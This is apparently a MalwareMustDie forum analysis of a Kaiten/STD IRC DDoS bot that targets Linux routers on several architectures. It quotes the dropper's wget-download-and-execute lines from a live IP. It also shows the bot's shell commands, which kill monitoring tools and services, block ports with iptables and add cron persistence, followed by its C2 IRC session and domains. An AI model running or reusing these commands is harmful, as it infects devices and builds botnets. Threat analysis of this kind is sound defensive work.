Nah! I was wrong. The above case is a known kaiten STD bot, seems latest version with multiple PAN and XMAS attack.
So putting this update in this section is correct.
They built the ELF in a "new way" to avoid strings checking & stripped all symbol clean to looks "new", and that's it ;)
Well, apparently the attempt has failed. But they succeed to drop detection ratio a bit.
Below is the malware infection work detail (text), shared for the shake of fighting badness in internet.
Code: Select all# Some same-ol shitty installer
wget -c http://5.196.8.171/tty0 -P /var/run && chmod +x /var/run/tty0 && /var/run/tty0 &
wget -c http://5.196.8.171/tty1 -P /var/run && chmod +x /var/run/tty1 && /var/run/tty1 &
wget -c http://5.196.8.171/tty2 -P /var/run && chmod +x /var/run/tty2 && /var/run/tty2 &
wget -c http://5.196.8.171/tty3 -P /var/run && chmod +x /var/run/tty3 && /var/run/tty3 &
wget -c http://5.196.8.171/tty4 -P /var/run && chmod +x /var/run/tty4 && /var/run/tty4 &
wget -c http://5.196.8.171/tty5 -P /var/run && chmod +x /var/run/tty5 && /var/run/tty5 &
wget -c http://5.196.8.171/pty -P /var/run && chmod +x /var/run/pty && /var/run/pty &
rm -rf /var/run/1sh
# the ELF bins
2016/02/14 01:21 41,804 c8810d2c967ea872abceacb79d44b145 pty
2016/02/14 01:30 38,856 03db579ac3a28c5acac2253ebc24d3f2 tty0
2016/02/14 01:31 45,544 c54644d5d072122ac8d215fb69ce82d6 tty1
2016/02/14 01:32 41,112 1fc27da0273ce9245d179b9b7f30cd7f tty2
2016/02/14 01:32 49,860 a7764276a8e4a2d0aa51348926556fcb tty3
2016/02/14 01:32 45,452 8cd32ff8bb22e1c61e6eb69aaecdbe89 tty4
2016/02/14 01:32 43,308 fab538b846ac60226eba4f823345d425 tty5
# Multi architecture..lol
pty: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
tty0: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
tty1: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
tty2: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, stripped
tty3: ELF 32-bit MSB executable, ARM, version 1, statically linked, stripped
tty4: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
tty5: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
## Some readings...
open("/dev/null");
open("/dev/null");
access("/dev/shm/");
access("/var/tmp/");
access("/var/lock/");
access("/var/run/");
access("/tmp/");
....blah blah...
# PID set
open("/tmp/udevd0.pid", O_RDWR|O_CREAT, 0666);
# /temp preps
open("/tmp/toexec", O_RDONLY) ;
# The STUPID commands part, and PLEASE be STUPID as always :-)) hahaha!
# preventing monitoring..
execve("/bin/sh", ["sh", "-c", "killall -9 tcpdump > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 strace > /dev/null 2>&1 &"]
# setting resolve DNS to google
execve("/bin/sh", ["sh", "-c", "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"]
# killing fields of services and other ELF malware
execve("/bin/sh", ["sh", "-c", "killall -9 telnetd > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "service httpd stop > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "service telnetd stop > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "service sshd stop > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 dropbear > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 minihttpd > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "nvram set httpd_enable=0 > /dev/null 2>&1"]
execve("/bin/sh", ["sh", "-c", "rm -rf /var/run/wgsh > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "rm -rf /var/run/bbsh > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "rm -rf /var/run/tt* > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "rm -rf /tmp/tt* > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 utelnetd > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 httpd > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 arm > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 mips > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 mipsel > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 powerpc > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 ppc > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 daemon.i686.mod > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 daemon.mips.mod > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"]
# dropping firewall rules for SSH, TELNET HTTP and PROXY for remote access..
execve("/bin/sh", ["sh", "-c", "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"]
execve("/bin/sh", ["sh", "-c", "chmod 700 /SAMPLE > /dev/null 2>&1 &"]
# grab the hostname
execve("/bin/uname", ["/bin/uname", "-n"]
write(1, "iSCREWskiddos\n", 8)
# installation...
execve("/bin/sh", ["sh", "-c", "(crontab -l | grep -v \"/SAMPLE\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/lock/.x001804289383) > /dev/null 2>&1"]
execve("/bin/sh", ["sh", "-c", "echo \"* * * * * /home/mong/test/cong > /dev/null 2>&1 &\" >> /var/lock/.x001804289383"]
execve("/bin/rm", ["rm", "-rf", "/var/lock/.x001804289383"]
# Boom, connecting to the IRC DDOS Botnet..
=> CONNECT: xxx.pokemoninc.com:8080
=> NICK x86|x|1|50xxxx|iSCREWskiddos
USER x00 localhost localhost :feb012015
<= PING :FB1681F5
=> PONG :FB1681F5
<= :IRC!IRC@izu.ko PRIVMSG x86|x|1|50xxxx|iSCREWskiddos :1VERSION\1
:izu.ko 001 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 002 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 003 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 004 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 005 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 005 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 005 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 375 x86|x|1|50xxxx|iSCREWskiddos :
:izu.ko 372 x86|x|1|50xxxx|iSCREWskiddos :- 27/10/2014 11:36
:izu.ko 372 x86|x|1|50xxxx|iSCREWskiddos :- !!
:izu.ko 376 x86|x|1|50xxxx|iSCREWskiddos :
=> NICK x86|x|1|50xxxx|iSCREWskiddos
=> MODE x86|x|1|50xxxx|iSCREWskiddos -xi
=> JOIN #x86 :777
=> NICK x86|x|1|50xxxx|iSCREWskiddos
=> MODE x86|x|1|50xxxx|iSCREWskiddos -xi
=> JOIN #x86 :777
=> NICK x86|x|1|50xxxx|iSCREWskiddos
=> MODE x86|x|1|50xxxx|iSCREWskiddos -xi
=> JOIN #x86 :777
=> NICK x86|x|1|50xxxx|iSCREWskiddos
=> MODE x86|x|1|50xxxx|iSCREWskiddos -xi
=> JOIN #x86 :777
<= :x86|x|1|50xxxx|iSCREWskiddos!x00@1.1.1.1 JOIN :#x86
# yawn...
IPv4 TCP MMD-SCREW-LIZARD-AGAIN -> 211.103.199.98:8080 (ESTABLISHED)
# CNC:
;; QUESTION SECTION:
;xxx.pokemoninc.com. IN A
;; ANSWER SECTION:
xxx.pokemoninc.com. 1800 IN A 211.103.199.98
xxx.pokemoninc.com. 1800 IN A 203.141.196.14
xxx.pokemoninc.com. 1800 IN A 61.156.43.106
xxx.pokemoninc.com. 1800 IN A 202.103.224.85
xxx.pokemoninc.com. 1800 IN A 83.143.80.227
;; AUTHORITY SECTION:
pokemoninc.com. 3600 IN NS dns4.name-services.com.
pokemoninc.com. 3600 IN NS dns1.name-services.com.
pokemoninc.com. 3600 IN NS dns5.name-services.com.
pokemoninc.com. 3600 IN NS dns2.name-services.com.
pokemoninc.com. 3600 IN NS dns3.name-services.com.
# MalwareMustDie! analysis by @unixfreaxjp
# Notes: Yow AntiChrist & Co. lizard looniez skeedooh!!, I screw your ELF shits "AGAIN".
# Get a REAL job kiddo! PS: Your linux skill still SUCKS..doubt anyone will hire ya.